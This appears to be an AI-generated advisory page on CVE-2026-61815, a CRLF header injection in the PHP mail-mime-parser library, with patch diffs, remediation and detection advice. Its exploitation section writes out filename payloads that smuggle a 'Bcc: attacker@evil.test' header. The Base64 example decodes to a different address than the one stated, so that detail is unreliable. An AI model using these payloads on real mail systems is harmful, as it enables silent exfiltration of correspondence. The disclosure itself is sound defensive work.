CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61815

CVE-2026-61815: Remote SMTP Header Injection via Unsanitized MIME Decoded Filenames in zbateson/mail-mime-parser

Alon Barad
Alon Barad
Software Engineer

Sep 25, 2026·6 min read·19 visits

Executive Summary (TL;DR)

A validation error in zbateson/mail-mime-parser allows remote attackers to inject malicious email headers (such as Bcc directives) by embedding encoded CRLF sequences inside attachment filenames. Patches in versions 3.0.6 and 4.0.2 remediate the issue.

CVE-2026-61815 is a high-severity Carriage Return / Line Feed (CRLF) header injection vulnerability in the zbateson/mail-mime-parser library. Due to incomplete sanitization logic, encoded newline sequences within filenames and headers survive parsing and translate into literal CRLF control bytes. When applications process or forward these payloads, the library writes the unescaped control bytes directly into outbound SMTP metadata, allowing remote attackers to inject rogue headers or compromise message integrity.

Vulnerability Overview

The PHP email processing library zbateson/mail-mime-parser serves as an RFC-compliant framework for parsing and creating MIME-formatted internet messages. The software is widely integrated into automated email parsers, helpdesk ticket systems, CRM processors, and inbound mail relays to manage file attachments.

The library's attack surface includes the parsing of inbound MIME payloads and the subsequent generation of outbound mail streams. Remote attackers can leverage input validation and sanitization oversights in both directions. Inbound parsed files that contain encoded control sequences retain those malicious sequences in application memory, which can subsequently be serialized back into raw transport channels.

The vulnerability is classified as CWE-93 (Improper Neutralization of CRLF Sequences). It yields an average CVSS v3.1 score of 7.2. The downstream effect allows an attacker to manipulate header boundaries, resulting in unauthorized information disclosure or message content alteration.

Root Cause Analysis

The technical flaw underlying CVE-2026-61815 occurs because character decoding operations execute after structural sanitization filters have already run. This timing mismatch allows encoded newline characters to successfully bypass the library's defensive sanitization routines.

In MimeToken.php, RFC 2047 encoded words are evaluated. The library strips literal newline characters from the raw header using preg_replace before executing the base64 or quoted-printable decoder function decodeMime(). Consequently, any Carriage Return (\r) and Line Feed (\n) sequences safely hidden inside an encoded-word wrapper escape the filter. Once decoded, the payload materializes as literal CRLF control bytes in memory.

A parallel vulnerability exists in the parameter parser located in ParameterPart.php. When parsing RFC 2231 attachment parameters, such as the filename* parameter, the library processes percentage-encoded payloads. The parser invokes rawurldecode(), converting URL-encoded newlines (%0D%0A) into literal byte sequences (\x0D\x0A). The code lacks any subsequent validation or sanitization check to neutralize these unescaped control bytes before transmitting them to other components.

During the serialization phase, the unescaped control characters flow into MultipartHelper.php. The library attempts to sanitize filenames by invoking iconv() with the US-ASCII//translit//ignore instruction. Because Carriage Return and Line Feed are legitimate US-ASCII control characters, iconv() passes them without modification, writing the raw CRLF sequences straight into the outgoing headers.

Code-Level Patch Analysis

To resolve the core vulnerability, the developers restructured the decoding pipeline to execute sanitization immediately after payload decoding. Diffs from the core fix demonstrate the movement of sanitization logic and the addition of robust regular expressions.

In src/Header/Part/MimeToken.php, the logic has been modified to enforce a secondary regular expression filter directly on the final output of the decodeMime() method:

 class MimeToken extends Token
 {
     public function __construct(LoggerInterface $logger, MbWrapper $charsetConverter, string $value)
     {
         parent::__construct($logger, $charsetConverter, $value);
-        $this->value = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $decoded = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $this->value = \preg_replace('/[\r\n]+/', '', $decoded) ?? '';
         $pattern = self::MIME_PART_PATTERN;

In src/Header/Part/ParameterPart.php, a similar regex filter has been integrated to catch and sanitize percentage-decoded characters emerging from the RFC 2231 parser:

     protected function decodePartValue(string $value, ?string $charset = null) : string
     {
-        if ($charset !== null) {
-            return $this->convertEncoding(\rawurldecode($value), $charset, true);
-        }
-        return $this->convertEncoding(\rawurldecode($value));
+        $decoded = ($charset !== null)
+            ? $this->convertEncoding(\rawurldecode($value), $charset, true)
+            : $this->convertEncoding(\rawurldecode($value));
+        return \preg_replace('/[\r\n]+/', '', $decoded) ?? $decoded;
     }

Finally, in src/Message/Helper/MultipartHelper.php, a defensive fallback filter was implemented during output formatting to strip structural ASCII control characters (byte range \x00-\x1F and \x7F) and replace them with spaces:

-        $safe = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';

Exploitation Mechanics and Test Cases

Exploitation relies on a target application reading a malicious inbound email message and subsequently forwarding or re-attaching that content. An attacker crafts a message containing attachment parameters formatted with encoded newlines followed by raw SMTP headers.

For example, an attacker can use RFC 2231 percentage encoding to craft a malicious filename containing a Bcc header injection:

Content-Disposition: attachment; filename*=UTF-8''invoice.pdf%0D%0ABcc:%20attacker@evil.test

Alternatively, an attacker can construct an RFC 2047 Base64 MIME-encoded string of the payload invoice.pdf\r\nBcc: attacker@evil.test:

Content-Disposition: attachment; filename="=?utf-8?B?aW52b2ljZS5wZGYNCkJjYzogYXZpbEBhdHRhY2tlci50ZXN0?="

When the application processes this incoming email and calls createAndAddPartForAttachment(), the un-sanitized CRLF sequence is output directly. The downstream SMTP server processes the resulting raw stream and splits the headers, recognizing the injected string as a legitimate BCC directive:

Content-Type: application/pdf;
	name="invoice.pdf
Bcc: attacker@evil.test"
Content-Disposition: attachment;
	filename="invoice.pdf
Bcc: attacker@evil.test"

Impact Assessment

The impact of CVE-2026-61815 is critical for environments that execute automatic processing on incoming email files, such as ticketing systems, CRM managers, or automated financial tools. By injecting a carriage return and line feed, the attacker can force downstream Mail Transfer Agents (MTAs) to split header sequences.

By injecting Bcc or Cc headers, attackers can silently copy and exfiltrate all outgoing replies, attachments, and internal records corresponding to the compromised message thread. This compromises message confidentiality without generating warning flags in client-facing applications.

Attackers can also inject dual carriage returns (\r\n\r\n) to prematurely end the headers segment and insert arbitrary text or script links into the body of the email. This facilitates phishing and social engineering campaigns, as the injected content appears to originate from an internal or trusted sending system.

Remediation and Detection Guidance

The primary remediation strategy is the immediate upgrade of all zbateson/mail-mime-parser library instances. Legacy versions 1.x and 2.x are End-of-Life and will not receive security fixes. Users must upgrade to the supported patched releases:

  • Upgrade 3.x branch dependencies to version 3.0.6 (or 3.0.7)
  • Upgrade 4.x branch dependencies to version 4.0.2

To update the dependency within a PHP project, execute the following Composer directive:

composer update zbateson/mail-mime-parser

If manual validation must be applied in legacy application code, filter all output filenames extracted via the API prior to processing. Developers can run a strict regex filter to strip control characters manually:

$safe_filename = preg_replace('/[\x00-\x1F\x7F]+/', ' ', $part->getFilename());

To detect exploitation attempts, implement Snort, Suricata, or WAF rules to scan inbound mail traffic for RFC 2231 parameters containing %0D%0A or equivalent hexadecimal byte injections inside filename definitions.

Fix Analysis (2)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

zbateson/mail-mime-parser < 3.0.6zbateson/mail-mime-parser >= 4.0.0, < 4.0.2zbateson/mail-mime-parser 1.x (all versions, End-of-Life)zbateson/mail-mime-parser 2.x (all versions, End-of-Life)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-mime-parser
zbateson
< 3.0.63.0.6
mail-mime-parser
zbateson
>= 4.0.0, < 4.0.24.0.2
AttributeDetail
CWE IDCWE-93
Attack VectorNetwork (Remote)
CVSS v3.1 Score7.2
Impact TypeHeader Injection / Email Exfiltration
Exploit StatusProof-of-Concept
CISA KEV ListedNo

MITRE ATT&CK Mapping

T1114.002Email Collection: Mailbox Search
Collection
T1566Phishing
Initial Access
T1071.003Application Layer Protocol: Mail Protocols
Command and Control
CWE-93
Improper Neutralization of CRLF Sequences ('CRLF Injection')

The software does not neutralize or incorrectly neutralizes carriage return (CR) and line feed (LF) characters before using them in input headers.

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]National Vulnerability Database (NVD) Detail
  • [3]CVE.org Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-16454
4.3

CVE-2026-16454: Object-Level Authorization Bypass in Eclipse hawkBit Direct Device Integration Controller

CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.

Amit Schendel
Amit Schendel
10 views•9 min read
•1 day ago•CVE-2026-62284
8.6

CVE-2026-62284: Remote Code Execution and SSRF via Unsanitized Kubeconfig in OSAC Operator

CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.

Amit Schendel
Amit Schendel
8 views•8 min read
•1 day ago•CVE-2026-62361
5.5

CVE-2026-62361: Authenticated SQL Injection and Table Access Control Bypass in Listmonk Subscriber Export

CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).

Alon Barad
Alon Barad
9 views•11 min read
•2 days ago•CVE-2026-28385
5.0

CVE-2026-28385: Server-Side Request Forgery in Canonical LXD Image Import

CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.

Amit Schendel
Amit Schendel
10 views•9 min read
•2 days ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
8 views•12 min read
•2 days ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
8 views•9 min read